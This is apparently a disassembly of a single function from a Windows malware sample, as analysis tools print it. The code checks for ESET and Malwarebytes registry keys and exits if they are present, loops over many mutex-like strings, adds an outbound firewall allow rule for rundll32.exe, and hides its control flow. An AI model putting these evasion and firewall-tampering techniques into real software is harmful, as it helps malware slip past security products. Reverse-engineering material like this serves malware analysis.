Function at 0x4011e6
Capabilities:
Create thread
Get common file path

Disassembly:
push 0x2c4024
push 8
push eax
call sub.kernel32.dll_HeapAlloc
mov dword [0x43edf4], eax
mov edi, 0x3e8
mov esi, 0x3a98
mov ebx, 0x3e8
inc eax
rol eax, 1
dec ebx
jne 0x401207
dec esi
jne 0x401202
dec edi
jne 0x4011fd
push eax
lea edx, [esp - 1]
inc edx
mov dword [0x4457a6], edx
dec ecx
mov edx, str.UEFIConfig
call fcn.004011b7
mov edx, str.IwS01003993
call fcn.004011b7
mov edx, str.N800HANOI
call fcn.004011b7
mov edx, str.PCV5ATULCN
call fcn.004011b7
mov edx, 0x43e103
call fcn.004011b7
mov edx, str.VRK1AlIXBJDA5U3A
call fcn.004011b7
mov edx, str.Tropic819331
call fcn.004011b7
mov edx, str.3G1S91V5ZA5fB56W
call fcn.004011b7
mov edx, str.MDISequencer
call fcn.004011b7
mov edx, str.VideoBind
call fcn.004011b7
mov edx, str.bitcoreguard
call fcn.004011b7
mov edx, str.NHO9AZB7HDK0WAZMM
call fcn.004011b7
mov edx, str.KDOWEtRVAB
call fcn.004011b7
mov edx, str.P79zA00FfF3
call fcn.004011b7
mov edx, str.RouteMatrix
call fcn.004011b7
mov edx, str.D1JozWrldD
call fcn.004011b7
mov edx, str.sqlcasheddbm
call fcn.004011b7
mov edx, str.wwallmutex
call fcn.004011b7
mov edx, str.FMPsDSCV0l
call fcn.004011b7
mov edx, str.FixLCD
call fcn.004011b7
mov edx, str.VHO9AZB7HDK0WAZMM
call fcn.004011b7
mov edx, str.8AZB70HDFK0WOZIZ
call fcn.004011b7
mov edx, str.ImageCreator_v4.2
call fcn.004011b7
mov edx, str.China1839099
call fcn.004011b7
mov edx, str.FoloDrite
call fcn.004011b7
mov edx, str.MovieFinder
call fcn.004011b7
mov edx, str.OMXBJSJ3WA1ZIN
call fcn.004011b7
mov edx, str.NeoNetPlasma
call fcn.004011b7
mov edx, str.MLIXNJ9AEGPSE
call fcn.004011b7
mov edx, str.NNDRIOZ8933
call fcn.004011b7
mov edx, str.ARScenes
call fcn.004011b7
mov edx, str.WireDefender
call fcn.004011b7
mov edx, str.SoloWrite
call fcn.004011b7
mov edx, str.CryptoMaxima
call fcn.004011b7
mov edx, str.InRAMQueue
call fcn.004011b7
mov edx, str.HTTPBalancer_v2.15
call fcn.004011b7
mov edx, str.NMOZAQcxzER
call fcn.004011b7
mov edx, str.China4150039
call fcn.004011b7
mov edx, str.NetRegistry
call fcn.004011b7
mov edx, str.BlueEye
call fcn.004011b7
mov edx, str.Hk4kKLL0ZAF8a
call fcn.004011b7
mov edx, str.CBKZiOPASRHKL
call fcn.004011b7
mov edx, str.VirtualDesktopKeeper
call fcn.004011b7
mov edx, str.WinDuplicity
call fcn.004011b7
mov edx, str.IntelBIOSReader
call fcn.004011b7
mov edx, str.RedParrot
call fcn.004011b7
mov edx, str.UtopicUnicorn
call fcn.004011b7
mov edx, str.OneiricOcelot
call fcn.004011b7
mov edx, str.MaverickMeerkat
call fcn.004011b7
mov edx, str.BiosChecksumChecker
call fcn.004011b7
mov edx, str.NetworkLighter
call fcn.004011b7
mov edx, str.PSHZ73VLLOAFB
call fcn.004011b7
mov edx, str.PJOQT7WD1SAOM
call fcn.004011b7
mov edx, str.ATYNKAJP30Z9AQ
call fcn.004011b7
mov edx, str.JKLSXX1ZA1QRLER
call fcn.004011b7
mov edx, str.I0N8129AZR1A
call fcn.004011b7
mov edx, str.MLIXNJAEGPSE
call fcn.004011b7
push 0x44198f
push 0x20019
push 0
push str.SoftwareESET
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
or eax, eax
jne 0x40147f
call sub.kernel32.dll_ExitThread
ret
push 0x44198f
push 0x20019
push 0
push str.SYSTEMControlSet001ServicesMBAMProtection
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
or eax, eax
jne 0x4014a4
call sub.kernel32.dll_ExitThread
ret
push 0x44198f
push 0x20019
push 0
push str.SYSTEMControlSet001ServicesMBAMService
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
or eax, eax
jne 0x4014cb
call sub.kernel32.dll_ExitThread
ret 4
mov dword [0x445206], eax
mov edi, eax
mov ebx, eax
inc ebx
mov dword [0x4457a2], eax
push 0x258
lea edx, [0x4464f6]
push edx
push 0
call sub.kernel32.dll_GetModuleFileNameA
cmp byte [0x4464f6], 0x5a
je 0x4014ff
cmp byte [0x4464f6], 0x7a
jne 0x401506
push 0xffffffffffffffff
call sub.kernel32.dll_Sleep
push 0x3e8
push 0x447c66
call sub.kernel32.dll_GetWindowsDirectoryA
push str._system32_rundll32.exe
push 0x447c66
call main
push 0x447c66
push str.advfirewall_firewall_add_rule_name_Rundll32__dirout_actionallow_protocolany_program_C:Windows_system32_rundll32.exe_
call main
push 0x43e6ac
push str.advfirewall_firewall_add_rule_name_Rundll32__dirout_actionallow_protocolany_program_C:Windows_system32_rundll32.exe_
call main
push 0x43e8a8
push 0
push 0
push 0x401014
push 0
push 0
call sub.kernel32.dll_CreateThread
mov ebx, 9
inc ebx
inc ebx
lea esi, [0x445310]
push ebx
add edx, 1
shl esi, 1
add edx, 1
xchg esi, ebx
inc edx
pop ebx
mov edi, 0x445216
rdtsc
rol eax, 3
push eax
dec eax
pop dword [edi]
rol eax, 2
inc eax
push eax
pop dword [edi + 4]
rol eax, 1
push eax
pop dword [edi + 8]
push eax
mov edx, 0x5f5e100
xchg edx, ecx
xor edx, esi
sub ecx, 1
mov dword [0x444e74], 0x43e6f9
add dword [0x444e74], 0x64
mov eax, dword [0x444e74]
push 0x2ee89d
add dword [esp], 0x112d22
ret